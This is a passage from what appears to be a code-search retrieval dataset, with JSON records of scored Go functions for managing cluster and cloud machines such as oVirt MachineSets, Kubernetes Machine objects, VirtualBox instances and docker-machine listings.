pool.Spec.Platform.Ovirt.MemoryMB,\n\t\tOSDisk: &installertypesovirt.Disk{\n\t\t\tSizeGB: pool.Spec.Platform.Ovirt.OSDisk.SizeGB,\n\t\t},\n\t\tVMType: installertypesovirt.VMType(pool.Spec.Platform.Ovirt.VMType),\n\t}\n\n\t// Fake an install config as we do with other actuators. We only populate what we know is needed today.\n\t// WARNING: changes to use more of installconfig in the MachineSets function can break here. Hopefully\n\t// will be caught by unit tests.\n\tic := &installertypes.InstallConfig{\n\t\tPlatform: installertypes.Platform{\n\t\t\tOvirt: &installertypesovirt.Platform{\n\t\t\t\tClusterID: cd.Spec.Platform.Ovirt.ClusterID,\n\t\t\t\tStorageDomainID: cd.Spec.Platform.Ovirt.StorageDomainID,\n\t\t\t\tNetworkName: cd.Spec.Platform.Ovirt.NetworkName,\n\t\t\t},\n\t\t},\n\t}\n\n\t// The installer will upload a copy of the RHCOS image for the release with this name.\n\t// It is possible to override this in the installer with the OPENSHIFT_INSTALL_OS_IMAGE_OVERRIDE\n\t// env var, but we do not expose this in Hive, so it should be safe to assume the installers default\n\t// name format. If we do add support for uploading images more efficiently (as it's a 2GB dl+ul per\n\t// cluster install), we should stick to this same name format, or update this line of code.\n\tosImage := fmt.Sprintf(\"%s-rhcos\", cd.Spec.ClusterMetadata.InfraID)\n\n\tinstallerMachineSets, err := installovirt.MachineSets(cd.Spec.ClusterMetadata.InfraID, ic, computePool, osImage, workerRole, workerUserData)\n\tif err != nil {\n\t\treturn nil, false, errors.Wrap(err, \"failed to generate machinesets\")\n\t}\n\n\treturn installerMachineSets, true, nil\n}", "title": "" }, { "docid": "23bc977eef010ed04a550acfa534ccba", "score": "0.49201035", "text": "func newMachines(name string, n int) chan *machine {\n\tc := make(chan *machine, n)\n\tfor i := 0; i < n; i++ {\n\t\tc <- newMachine(fmt.Sprintf(\"%s%d\", name, i))\n\t}\n\treturn c\n}", "title": "" }, { "docid": "7c274e32e9cbd74b2a2fa943b3cb4a38", "score": "0.4906069", "text": "func (aws *awsCloudProvider) GetAvailableMachineTypes() ([]string, error) {\n\treturn []string{}, nil\n}", "title": "" }, { "docid": "ccaed3e2cdf5d8ec4ce37700b022555f", "score": "0.49017265", "text": "func ControlPlaneMachines(clusterName string) func(machine *clusterv1.Machine) bool {\n\tselector := ControlPlaneSelectorForCluster(clusterName)\n\treturn func(machine *clusterv1.Machine) bool {\n\t\tif machine == nil {\n\t\t\treturn false\n\t\t}\n\t\treturn selector.Matches(labels.Set(machine.Labels))\n\t}\n}", "title": "" }, { "docid": "3cabe696a660976720c9615d3fd29e96", "score": "0.48860952", "text": "func (c *Client) GetMachineDeployments(clusterID string, projectID string) ([]models.NodeDeployment, error) {\n\tresult := make([]models.NodeDeployment, 0)\n\n\trequestURL := fmt.Sprintf(\"%s/%s/%s/%s/%s\",\n\t\tprojectPath,\n\t\tprojectID,\n\t\tclusterPath,\n\t\tclusterID,\n\t\tmachineDeploymentPath,\n\t)\n\t_, err := c.Get(requestURL, &result, V2API)\n\treturn result, err\n}", "title": "" }, { "docid": "0df15360a5513ba81f5aaa8c3931955d", "score": "0.48722938", "text": "func GetNPlayerMachines(db *bolt.DB) map[string][]string {\n\treturn GetAllLists(db, NPlayerMachines)\n}", "title": "" }, { "docid": "17e4cebbfbe2c15e7c348097f55d08a5", "score": "0.4867384", "text": "func (sc *StateConfiguration) Machine() *StateMachine {\n\treturn sc.sm\n}", "title": "" }, { "docid": "37fd2a0111afea359ca578733ddb23e4", "score": "0.4855662", "text": "func (c *Cluster) Instances() ([]raft.Server, error) {\n\tf := c.raft.GetConfiguration()\n\tif err := f.Error(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn f.Configuration().Servers, nil\n}", "title": "" }, { "docid": "b7ade1fadc95e29a5d42389f076e02d5", "score": "0.48519418", "text": "func (p *patroniClient) getClusterInstances() (map[string]corev1.Pod, error) {\n\n\t// selector in the format \"pg-cluster=<cluster-name>,any role\"\n\tselector := fmt.Sprintf(\"%s=%s,%s\", config.LABEL_PG_CLUSTER, p.clusterName,\n\t\tconfig.LABEL_PG_DATABASE)\n\tinstances, err := p.kubeclientset.CoreV1().Pods(p.namespace).List(metav1.ListOptions{\n\t\tLabelSelector: selector,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinstanceMap := make(map[string]corev1.Pod)\n\n\tfor _, instance := range instances.Items {\n\t\tinstanceMap[instance.GetObjectMeta().GetLabels()[config.LABEL_DEPLOYMENT_NAME]] = instance\n\t}\n\n\treturn instanceMap, nil\n}", "title": "" }, { "docid": "d04e292621483056397861254879d260", "score": "0.48202455", "text": "func (s *dumpState) getInstances(ctx context.Context, zone string) (map[string]*compute.Instance, error) {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.instances == nil {\n\t\ts.instances = make(map[string]map[string]*compute.Instance)\n\t}\n\n\tif s.instances[zone] != nil {\n\t\treturn s.instances[zone], nil\n\t}\n\n\tl, err := s.cloud.Compute().Instances().List(ctx, s.cloud.Project(), zone)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinstances := make(map[string]*compute.Instance)\n\tfor _, i := range l {\n\t\tinstances[i.Name] = i\n\t}\n\ts.instances[zone] = instances\n\treturn instances, nil\n}", "title": "" }, { "docid": "0a6b774e3dcd4619b7e584df229f631c", "score": "0.48198006", "text": "func (r *Registry) GetMachineState(machID string) *machine.MachineState {\n\tkey := path.Join(r.keyPrefix, machinePrefix, machID, \"object\")\n\tresp, err := r.etcd.Get(key, false, true)\n\n\t// Assume the error was KeyNotFound and return an empty data structure\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\tvar mach machine.MachineState\n\tif err := unmarshal(resp.Node.Value, &mach); err != nil {\n\t\treturn nil\n\t}\n\n\treturn &mach\n}", "title": "" }, { "docid": "752423711b59069bfaeaa97e55720adc", "score": "0.48074907", "text": "func (v *volcengineCloudProvider) GetAvailableMachineTypes() ([]string, error) {\n\treturn []string{}, nil\n}", "title": "" }, { "docid": "3c5d6d4ea55b74ae7c23adf521ac4ac1", "score": "0.48060757", "text": "func GetMachine(name, namespace, clusterName, set, version string) clusterv1alpha2.Machine {\n\tmachine := clusterv1alpha2.Machine{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"Machine\",\n\t\t\tAPIVersion: \"cluster.k8s.io/v1alpha1\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: map[string]string{\n\t\t\t\t\"cluster.k8s.io/cluster-name\": clusterName,\n\t\t\t\t\"set\": set,\n\t\t\t},\n\t\t},\n\t\tSpec: clusterv1alpha2.MachineSpec{\n\t\t\t// TODO\n\t\t},\n\t}\n\tif set == controlPlaneSet {\n\t\t*machine.Spec.Version = version\n\t}\n\tif set == \"worker\" {\n\t\t*machine.Spec.Version = version\n\t}\n\n\treturn machine\n}", "title": "" }, { "docid": "f5d63a8c7ee161c1ceaa2a16e5245ba2", "score": "0.47865376", "text": "func (C *Client) Machine(ID string) (*Machine, error) {\n\tm := map[string]string{}\n\n\tresponse := new(map[string]interface{})\n\tif err := C.get(fmt.Sprintf(\"/machines/%s\", ID), m, response); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := (*response)[\"errors\"]; err != nil {\n\t\terr := err.([]interface{})\n\t\te := err[0].(map[string]interface{})\n\n\t\treturn nil, fmt.Errorf(\"[%d] %s\", int(e[\"status\"].(float64)), e[\"title\"])\n\t}\n\n\tvar machine Machine\n\terr := jsonapi.Unmarshal(*response, &machine)\n\n\treturn &machine, err\n}", "title": "" }, { "docid": "92017efdf19ac01d5434d13622a08e8a", "score": "0.4784636", "text": "func (c *compute) Clusters() resource.Clusters {\n\treturn c.clusters\n}", "title": "" }, { "docid": "8f78baea650ace2e4c7091f4e75dfff6", "score": "0.47741264", "text": "func (g *Gatherer) GatherMachineConfigs(ctx context.Context) ([]record.Record, []error) {\n\tgatherDynamicClient, err := dynamic.NewForConfig(g.gatherKubeConfig)\n\tif err != nil {\n\t\treturn nil, []error{err}\n\t}\n\n\treturn gatherMachineConfigs(ctx, gatherDynamicClient)\n}", "title": "" }, { "docid": "0bbed285993fc0bf85ce74553c5761f0", "score": "0.47661823", "text": "func NewMachine(name string, nodeName string, bareMetalHostName string) *mapiv1.Machine {\n\tm := &mapiv1.Machine{\n\t\tTypeMeta: metav1.TypeMeta{Kind: \"Machine\"},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tAnnotations: map[string]string{\n\t\t\t\tconsts.AnnotationBareMetalHost: fmt.Sprintf(\"%s/%s\", consts.NamespaceOpenshiftMachineAPI, bareMetalHostName),\n\t\t\t},\n\t\t\tName: name,\n\t\t\tNamespace: consts.NamespaceOpenshiftMachineAPI,\n\t\t\tOwnerReferences: []metav1.OwnerReference{{Kind: \"MachineSet\"}},\n\t\t\tLabels: FooBar(),\n\t\t},\n\t\tSpec: mapiv1.MachineSpec{},\n\t}\n\tif nodeName != \"\" {\n\t\tm.Status = mapiv1.MachineStatus{\n\t\t\tNodeRef: &corev1.ObjectReference{\n\t\t\t\tName: nodeName,\n\t\t\t\tNamespace: metav1.NamespaceNone,\n\t\t\t},\n\t\t}\n\t}\n\treturn m\n}", "title": "" }, { "docid": "0bbed285993fc0bf85ce74553c5761f0", "score": "0.47661823", "text": "func NewMachine(name string, nodeName string, bareMetalHostName string) *mapiv1.Machine {\n\tm := &mapiv1.Machine{\n\t\tTypeMeta: metav1.TypeMeta{Kind: \"Machine\"},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tAnnotations: map[string]string{\n\t\t\t\tconsts.AnnotationBareMetalHost: fmt.Sprintf(\"%s/%s\", consts.NamespaceOpenshiftMachineAPI, bareMetalHostName),\n\t\t\t},\n\t\t\tName: name,\n\t\t\tNamespace: consts.NamespaceOpenshiftMachineAPI,\n\t\t\tOwnerReferences: []metav1.OwnerReference{{Kind: \"MachineSet\"}},\n\t\t\tLabels: FooBar(),\n\t\t},\n\t\tSpec: mapiv1.MachineSpec{},\n\t}\n\tif nodeName != \"\" {\n\t\tm.Status = mapiv1.MachineStatus{\n\t\t\tNodeRef: &corev1.ObjectReference{\n\t\t\t\tName: nodeName,\n\t\t\t\tNamespace: metav1.NamespaceNone,\n\t\t\t},\n\t\t}\n\t}\n\treturn m\n}", "title": "" }, { "docid": "9eb5cd3fd0d32f7f13ce13bf82a263dd", "score": "0.47622332", "text": "func setMultiplayingMachines() []chan Machine {\r\n\r\n\tchannels := make([]chan Machine, MachMulNum)\r\n\tfor i := 0; i < MachMulNum; i++ {\r\n\t\tchannels[i] = make(chan Machine)\r\n\t\tgo multiplayingMachine(i, channels[i])\r\n\t}\r\n\r\n\treturn channels\r\n}", "title": "" }, { "docid": "0af9aa89ec6105ad30e59cf53e712122", "score": "0.47595713", "text": "func getKubeadmConfigs(ctx context.Context, cl client.Client, machines collections.Machines) (map[string]*bootstrapv1.KubeadmConfig, error) {\n\tresult := map[string]*bootstrapv1.KubeadmConfig{}\n\tfor _, m := range machines {\n\t\tbootstrapRef := m.Spec.Bootstrap.ConfigRef\n\t\tif bootstrapRef == nil {\n\t\t\tcontinue\n\t\t}\n\t\tmachineConfig := &bootstrapv1.KubeadmConfig{}\n\t\tif err := cl.Get(ctx, client.ObjectKey{Name: bootstrapRef.Name, Namespace: m.Namespace}, machineConfig); err != nil {\n\t\t\tif apierrors.IsNotFound(errors.Cause(err)) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn nil, errors.Wrapf(err, \"failed to retrieve bootstrap config for machine %q\", m.Name)\n\t\t}\n\t\tresult[m.Name] = machineConfig\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "54dd56526b7aafbcbd8ea5d9ad5e0330", "score": "0.4744565", "text": "func machineList(w http.ResponseWriter, r *http.Request, db *mgo.Database, argPos int) {\n\tsortKey := r.FormValue(\"sortkey\")\n\tif sortKey == \"\" {\n\t\tsortKey = \"hostname\"\n\t}\n\n\tm := new(machines)\n\tm.Headers = MachineListHeaders()\n\n\tc := db.C(\"machines\")\n\n\tvar arr *machine\n\ti := 1\n\terr := c.Find(nil).Sort(sortKey).\n\t\tFor(&arr, func() error {\n\t\tarr.Cnt = i\n\t\ti++\n\t\tm.Machines = append(m.Machines, *arr)\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\thttp.NotFound(w, r)\n\t\treturn\n\t}\n\tset.ExecuteTemplate(w, \"machinelist\", m)\n}", "title": "" }, { "docid": "a8174d1a19c3a6edf868e7a67601366a", "score": "0.4743266", "text": "func (c *APIClient) GetMachSpecs(prov string) ([]string, error) {\n url := fmt.Sprintf(\"https://stackpointcloud-196003.appspot.com/specs/%s/\", prov)\n req, err := http.NewRequest(\"GET\", url, nil)\n if err != nil { return nil, err }\n content, err := c.runRequest(req)\n if err != nil { return nil, err }\n var specs ProviderSpecs\n err = json.Unmarshal(content, &specs)\n if err != nil { return nil, err }\n return specs.Machines, err\n}", "title": "" }, { "docid": "91b6c349aa2c90ed99ef4e75cde061ee", "score": "0.4733925", "text": "func (this *SessionMap) ForEachMachine(fn func(*msgtypes.UUID, map[uint64]*Session)) {\n\tthis.Lock()\n\tdefer this.Unlock()\n\tfor machine_uuid, planners := range this.map_uuid2machine {\n\t\tfn(&machine_uuid, planners)\n\t}\n}", "title": "" }, { "docid": "2d8aab05ae8b0f99a5be54e54ee57908", "score": "0.473009", "text": "func GetNodeMap(nodes []v1.Node, cluster *kopsapi.Cluster) map[string]*v1.Node {\n\tnodeMap := make(map[string]*v1.Node)\n\n\tif cluster.Spec.GetCloudProvider() == kopsapi.CloudProviderAzure {\n\t\tfor i := range nodes {\n\t\t\tnode := &nodes[i]\n\t\t\tvmName, err := toAzureVMName(node.Spec.ProviderID)\n\t\t\tif err != nil {\n\t\t\t\tklog.Errorf(\"ignoring node %q with malformed provider ID: %s\", node.Name, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tnodeMap[vmName] = node\n\t\t}\n\t\treturn nodeMap\n\t}\n\n\tfor i := range nodes {\n\t\tnode := &nodes[i]\n\t\tproviderIDs := strings.Split(node.Spec.ProviderID, \"/\")\n\t\tinstanceID := providerIDs[len(providerIDs)-1]\n\t\tnodeMap[instanceID] = node\n\t}\n\n\treturn nodeMap\n}", "title": "" }, { "docid": "7a26f01de25544285e7bcfbff70d00b3", "score": "0.47196507", "text": "func NewMachineSet(\n\tclusterName, namespace, name string,\n\tselectorLabels map[string]string,\n\ttemplateLabels map[string]string,\n\tproviderSpec *machinev1.ProviderSpec,\n\treplicas int32,\n) *machinev1.MachineSet {\n\tms := machinev1.MachineSet{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"MachineSet\",\n\t\t\tAPIVersion: \"machine.openshift.io/v1beta1\",\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: map[string]string{\n\t\t\t\tClusterKey: clusterName,\n\t\t\t},\n\t\t},\n\t\tSpec: machinev1.MachineSetSpec{\n\t\t\tSelector: metav1.LabelSelector{\n\t\t\t\tMatchLabels: map[string]string{\n\t\t\t\t\tClusterKey: clusterName,\n\t\t\t\t\tMachineSetKey: name,\n\t\t\t\t},\n\t\t\t},\n\t\t\tTemplate: machinev1.MachineTemplateSpec{\n\t\t\t\tObjectMeta: machinev1.ObjectMeta{\n\t\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t\tClusterKey: clusterName,\n\t\t\t\t\t\tMachineSetKey: name,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tSpec: machinev1.MachineSpec{\n\t\t\t\t\tProviderSpec: *providerSpec.DeepCopy(),\n\t\t\t\t},\n\t\t\t},\n\t\t\tReplicas: pointer.Int32(replicas),\n\t\t},\n\t}\n\n\t// Copy additional labels but do not overwrite those that\n\t// already exist.\n\tfor k, v := range selectorLabels {\n\t\tif _, exists := ms.Spec.Selector.MatchLabels[k]; !exists {\n\t\t\tms.Spec.Selector.MatchLabels[k] = v\n\t\t}\n\t}\n\n\tfor k, v := range templateLabels {\n\t\tif _, exists := ms.Spec.Template.ObjectMeta.Labels[k]; !exists {\n\t\t\tms.Spec.Template.ObjectMeta.Labels[k] = v\n\t\t}\n\t}\n\n\treturn &ms\n}", "title": "" }, { "docid": "0c81f2f3b1246de8977b88594e6f2b44", "score": "0.46957007", "text": "func (this *SessionMap) GetAllByMachine(machine_uuid *msgtypes.UUID) (map[uint64]*Session, bool) {\n\tplanners, exist := this.map_uuid2machine[*machine_uuid]\n\treturn planners, exist\n}", "title": "" }, { "docid": "db13dd5e24a9a514e24b6e88784caf71", "score": "0.46932265", "text": "func (mp *MasterPlan) FilterMachines(inventory []InventoryMachine) []InventoryMachine {\n\tvar machines = []InventoryMachine{}\n\tfor _, machine := range inventory {\n\t\tallMatch := true\n\t\t// Pass through all filters, if one doesn't match it is enough to\n\t\t// not retain the current machine\n\t\tfor _, filter := range mp.MachineFilters {\n\t\t\tmatch := filter.MatchesMachine(machine)\n\t\t\tif !match {\n\t\t\t\tallMatch = false\n\t\t\t}\n\t\t}\n\t\tif allMatch {\n\t\t\tmachines = append(machines, machine)\n\t\t}\n\t}\n\treturn machines\n}", "title": "" }, { "docid": "f52f35ccf98acdca9f1820c475cd715a", "score": "0.46931994", "text": "func BuildOwnerToMachineSetsMap(machineSets []machinev1alpha1.MachineSet) map[string][]machinev1alpha1.MachineSet {\n\townerToMachineSets := make(map[string][]machinev1alpha1.MachineSet)\n\tfor index, machineSet := range machineSets {\n\t\tif len(machineSet.OwnerReferences) > 0 {\n\t\t\tfor _, reference := range machineSet.OwnerReferences {\n\t\t\t\tif reference.Kind == MachineDeploymentKind {\n\t\t\t\t\townerToMachineSets[reference.Name] = append(ownerToMachineSets[reference.Name], machineSets[index])\n\t\t\t\t}\n\t\t\t}\n\t\t} else if len(machineSet.Labels) > 0 {\n\t\t\tif machineDeploymentName, ok := machineSet.Labels[nameLabel]; ok {\n\t\t\t\townerToMachineSets[machineDeploymentName] = append(ownerToMachineSets[machineDeploymentName], machineSets[index])\n\t\t\t}\n\t\t}\n\t}\n\treturn ownerToMachineSets\n}", "title": "" }, { "docid": "6e00bcf121a6d4f5f82fc816799d8575", "score": "0.46908247", "text": "func GetNPlayerTypeMachines(db *bolt.DB) map[string][]string {\n\treturn GetAllLists(db, NPlayerTypeMachines)\n}", "title": "" }, { "docid": "761f77541bc1cbf80084bd2f23a60c50", "score": "0.46897656", "text": "func (instances *BaseInstances) MachineName() string {\n\treturn instances.machineName\n}", "title": "" }, { "docid": "9896a64401f8cd8738a09640f14d3ec2", "score": "0.46896762", "text": "func All() map[string]config.Server {\n\tresult := map[string]config.Server{}\n\n\tservers.RLock()\n\tfor name, server := range servers.m {\n\t\tresult[name] = server.Cfg()\n\t}\n\tservers.RUnlock()\n\n\treturn result\n}", "title": "" }, { "docid": "94a92ed22fa150abd5f1d7888738b3fb", "score": "0.46885094", "text": "func (m *ContainerMesh) Nodes() map[string]Node {\n\tnodes := make(map[string]Node)\n\tfor k, v := range m.nodes {\n\t\tnodes[k] = v\n\t}\n\n\treturn nodes\n}", "title": "" }, { "docid": "0642b586c37f5844e15b9d0e2e065f68", "score": "0.46844152", "text": "func (c *Cluster) GetNodes() map[string]*ClusterNode {\n env.Output.WriteChDebug(\"(Cluster::GetNodes) Get Nodes' value\")\n return c.Nodes\n}", "title": "" }, { "docid": "030db940fd73c087c5959a955cc33952", "score": "0.4671014", "text": "func (c *Conn) DescribeMachine(name string) (machineProps map[string]interface{}, err error) {\n\tvar dbusProps map[string]dbus.Variant\n\tpath, pathErr := c.GetMachine(name)\n\tif pathErr != nil {\n\t\treturn nil, pathErr\n\t}\n\tobj := c.conn.Object(\"org.freedesktop.machine1\", path)\n\terr = obj.Call(\"org.freedesktop.DBus.Properties.GetAll\", 0, \"\").Store(&dbusProps)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tmachineProps = make(map[string]interface{}, len(dbusProps))\n\tfor key, val := range dbusProps {\n\t\tmachineProps[key] = val.Value()\n\t}\n\treturn\n}", "title": "" }, { "docid": "3407cd4026d7b8712c73198b79cb8521", "score": "0.46604177", "text": "func (b *Blueprint) Machine() *Machine {\n\tfsm := &Machine{\n\t\tstate: b.start,\n\t\ttransitions: b.transitions,\n\t}\n\n\treturn fsm\n}", "title": "" }, { "docid": "ca736b12a7f6c0bf9437c4b335a05d2d", "score": "0.4660196", "text": "func (tc *testContext) machineLogCollection(machines []mapi.Machine) {\n\tfor _, machine := range machines {\n\t\taddr, err := controllers.GetAddress(machine.Status.Addresses)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Machine %s does not have a valid address, unable to get logs\", machine.GetName())\n\t\t\tcontinue\n\t\t}\n\t\terr = tc.nodelessLogCollection(machine.GetName(), addr)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to collect logs from %s: %v\", machine.GetName(), err)\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "4bee97710741da5efc2afe7dfe73fbd1", "score": "0.46572313", "text": "func NewClusterMachine(machine string, ip string, metaData string) *ClusterMachine {\n\treturn &ClusterMachine{\n\t\tMachineID: machine,\n\t\tIP: ip,\n\t\tMetaData: metaData,\n\t\tUnits: make([]*ClusterUnit, 0),\n\t}\n}", "title": "" }, { "docid": "f6590b87799d4604f65fa665c7f23130", "score": "0.46539578", "text": "func setAddingMachines() []chan Machine {\r\n\r\n\tchannels := make([]chan Machine, MachAddNum)\r\n\tfor i := 0; i < MachAddNum; i++ {\r\n\t\tchannels[i] = make(chan Machine)\r\n\t\tgo addingMachine(i, channels[i])\r\n\t}\r\n\r\n\treturn channels\r\n}", "title": "" }, { "docid": "c890286445910510565e9ccc8a923dd6", "score": "0.4651628", "text": "func (s *ServerSpec) ContainerEnvironmentMap() (cem awslib.ContainerEnvironmentMap, err error) {\n\n td := s.TaskDefinition\n serverContainerName, ok := ContainerNameForRole(CraftServerRole, td)\n if !ok { \n err = fmt.Errorf(\"Error finding container name for server role in TaskDefinition: %s\", *td.TaskDefinitionArn)\n return cem, err\n }\n controllerContainerName, ok := ContainerNameForRole(CraftControllerRole, td)\n if !ok { \n err = fmt.Errorf(\"Error finding container name for container role in TaskDefinition: %s\", *td.TaskDefinitionArn)\n return cem, err\n }\n\n cem = make(awslib.ContainerEnvironmentMap, 2)\n cem[serverContainerName] = s.ServerTaskEnv[CraftServerContainerKey]\n cem[controllerContainerName] = s.ServerTaskEnv[CraftControllerContainerKey]\n return cem, err\n}", "title": "" }, { "docid": "ac7b6cc287dfb641e2a56e11b62dc9bb", "score": "0.46490183", "text": "func (m *PostAPIV3Machines) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "220b0136360758f3cf1d35098aabb39e", "score": "0.46368277", "text": "func (p *Provider) GetInstances(ctx *lepton.Context) (instances []lepton.CloudInstance, err error) {\n\tinstances = []lepton.CloudInstance{}\n\n\tvms, err := vbox.ListMachines()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor _, vm := range vms {\n\t\timage, _ := virtualbox.GetGuestProperty(vm.Name, \"Image\")\n\t\tports, _ := virtualbox.GetGuestProperty(vm.Name, \"Ports\")\n\n\t\tinstances = append(instances, lepton.CloudInstance{\n\t\t\tID: vm.UUID,\n\t\t\tName: vm.Name,\n\t\t\tPublicIps: []string{\"127.0.0.1\"},\n\t\t\tStatus: string(vm.State),\n\t\t\tImage: image,\n\t\t\tPorts: []string{ports},\n\t\t})\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "5af438f0533f359175f77eec3ebe6b57", "score": "0.46219927", "text": "func SetMachines(m []string) func(*Options) {\n\treturn func(e *Options) {\n\t\te.Machines = m\n\t}\n}", "title": "" }, { "docid": "3a5316859cbc09540d94fe6cd470987b", "score": "0.4621002", "text": "func (tc *testContext) waitForWindowsMachines(machineCount int, phase string, windowsLabel bool) (*mapi.MachineList, error) {\n\tif machineCount == 0 && phase != \"\" {\n\t\treturn nil, errors.New(\"expected phase to be to be an empty string if machineCount is 0\")\n\t}\n\n\tvar machines *mapi.MachineList\n\tmachineStateTimeLimit := time.Minute * 5\n\tstartTime := time.Now()\n\t// Increasing the time limit due to https://bugzilla.redhat.com/show_bug.cgi?id=1936556\n\tif tc.CloudProvider.GetType() == config.VSpherePlatformType {\n\t\t// When deleting Machines, set the time limit to 10 minutes\n\t\tif machineCount == 0 {\n\t\t\tmachineStateTimeLimit = time.Minute * 10\n\t\t} else {\n\t\t\tmachineStateTimeLimit = time.Minute * 20\n\t\t}\n\t}\n\n\tlistOptions := metav1.ListOptions{LabelSelector: clusterinfo.MachineE2ELabel + \"=true\"}\n\tif windowsLabel {\n\t\tlistOptions.LabelSelector += \",\" + controllers.MachineOSLabel + \"=Windows\"\n\t} else {\n\t\tlistOptions.LabelSelector += \",\" + controllers.MachineOSLabel + \"!=Windows\"\n\t}\n\terr := wait.Poll(retryInterval, machineStateTimeLimit, func() (done bool, err error) {\n\t\tmachines, err = tc.client.Machine.Machines(clusterinfo.MachineAPINamespace).List(context.TODO(), listOptions)\n\t\tif err != nil {\n\t\t\tif apierrors.IsNotFound(err) {\n\t\t\t\tlog.Printf(\"waiting for %d Windows Machines\", machineCount)\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\tlog.Printf(\"machine object listing failed: %v\", err)\n\t\t\treturn false, nil\n\t\t}\n\t\tif len(machines.Items) != machineCount {\n\t\t\tlog.Printf(\"waiting for %d/%d Windows Machines\", machineCount-len(machines.Items), machineCount)\n\t\t\treturn false, nil\n\t\t}\n\t\t// A phase of \"\" skips the phase check\n\t\tif phase == \"\" {\n\t\t\treturn true, nil\n\t\t}\n\t\tfor _, machine := range machines.Items {\n\t\t\tif machine.Status.Phase == nil || *machine.Status.Phase != phase {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t\t// If waiting for a provisioned Machine, ensure the Machine is fully attached to the network and has an\n\t\t\t// assigned IPv4 address.\n\t\t\tif phase != \"Provisioned\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\thasIPv4 := false\n\t\t\tfor _, address := range machine.Status.Addresses {\n\t\t\t\tif address.Type != v1.NodeInternalIP {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif net.ParseIP(address.Address) != nil && net.ParseIP(address.Address).To4() != nil {\n\t\t\t\t\thasIPv4 = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !hasIPv4 {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t}\n\t\treturn true, nil\n\t})\n\tif phase == \"\" {\n\t\tphase = \"deleted\"\n\t}\n\n\t// Log the time elapsed while waiting for creation of the Machines\n\tvar machineType string\n\tif windowsLabel {\n\t\tmachineType = \"with the Windows label\"\n\t} else {\n\t\tmachineType = \"without the Windows label\"\n\t}\n\tendTime := time.Now()\n\tlog.Printf(\"%v time is required for %d Machines %s to reach phase %s\", endTime.Sub(startTime),\n\t\tlen(machines.Items), machineType, phase)\n\treturn machines, err\n}", "title": "" }, { "docid": "72d64c83a6fa77f2a62428a95454bf91", "score": "0.4598526", "text": "func listMachines(prefix string) ([]string, error) {\n\targs := []string{\"ls\", \"--quiet\"}\n\toutput, ok := runProcessGetResult(\"list-machines\", \"docker-machine\", args)\n\tif !ok {\n\t\treturn nil, errors.New(\"Failed to list machines\")\n\t}\n\toutput = strings.TrimSpace(output)\n\tif len(output) == 0 {\n\t\treturn nil, nil\n\t}\n\tmachines := strings.Split(output, \"\\n\")\n\tmatched := []string{}\n\tfor _, mach := range machines {\n\t\tif strings.HasPrefix(mach, prefix+\"-\") {\n\t\t\tmatched = append(matched, mach)\n\t\t}\n\t}\n\treturn matched, nil\n}", "title": "" }, { "docid": "c48412106a1281d737e70a75b19674c8", "score": "0.45949453", "text": "func (m *PutAPIV3Machines) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8f9266baa0f66ca7304ba332c8d50a5d", "score": "0.45914412", "text": "func GetClouds() map[string]v1.Cloud {\n\treturn clouds\n}", "title": "" }, { "docid": "7dab2ff622351043065c6afd56f4f893", "score": "0.45726317", "text": "func GetMachinesFromMachineSet(ctx context.Context, client runtimeclient.Client, machineSet *machinev1.MachineSet) ([]*machinev1.Machine, error) {\n\tmachines, err := GetMachines(ctx, client)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error getting machines: %w\", err)\n\t}\n\n\tvar machinesForSet []*machinev1.Machine\n\n\tfor key := range machines {\n\t\tif metav1.IsControlledBy(machines[key], machineSet) {\n\t\t\tmachinesForSet = append(machinesForSet, machines[key])\n\t\t}\n\t}\n\n\treturn machinesForSet, nil\n}", "title": "" }, { "docid": "f53bbbeb0fba3875a879152cbc08812f", "score": "0.45653602", "text": "func (r *PacketMachineReconciler) PacketClusterToPacketMachines(ctx context.Context) handler.MapFunc {\n\tlog := ctrl.LoggerFrom(ctx)\n\treturn func(o client.Object) []ctrl.Request {\n\t\tc, ok := o.(*infrav1.PacketCluster)\n\t\tif !ok {\n\t\t\tlog.Error(fmt.Errorf(\"expected a PacketCluster but got a %T\", o), \"failed to get PacketMachine for PacketCluster\") //nolint:goerr113\n\t\t\treturn nil\n\t\t}\n\n\t\tlog = log.WithValues(\"PacketCluster\", c.Name, \"Namespace\", c.Namespace)\n\n\t\t// 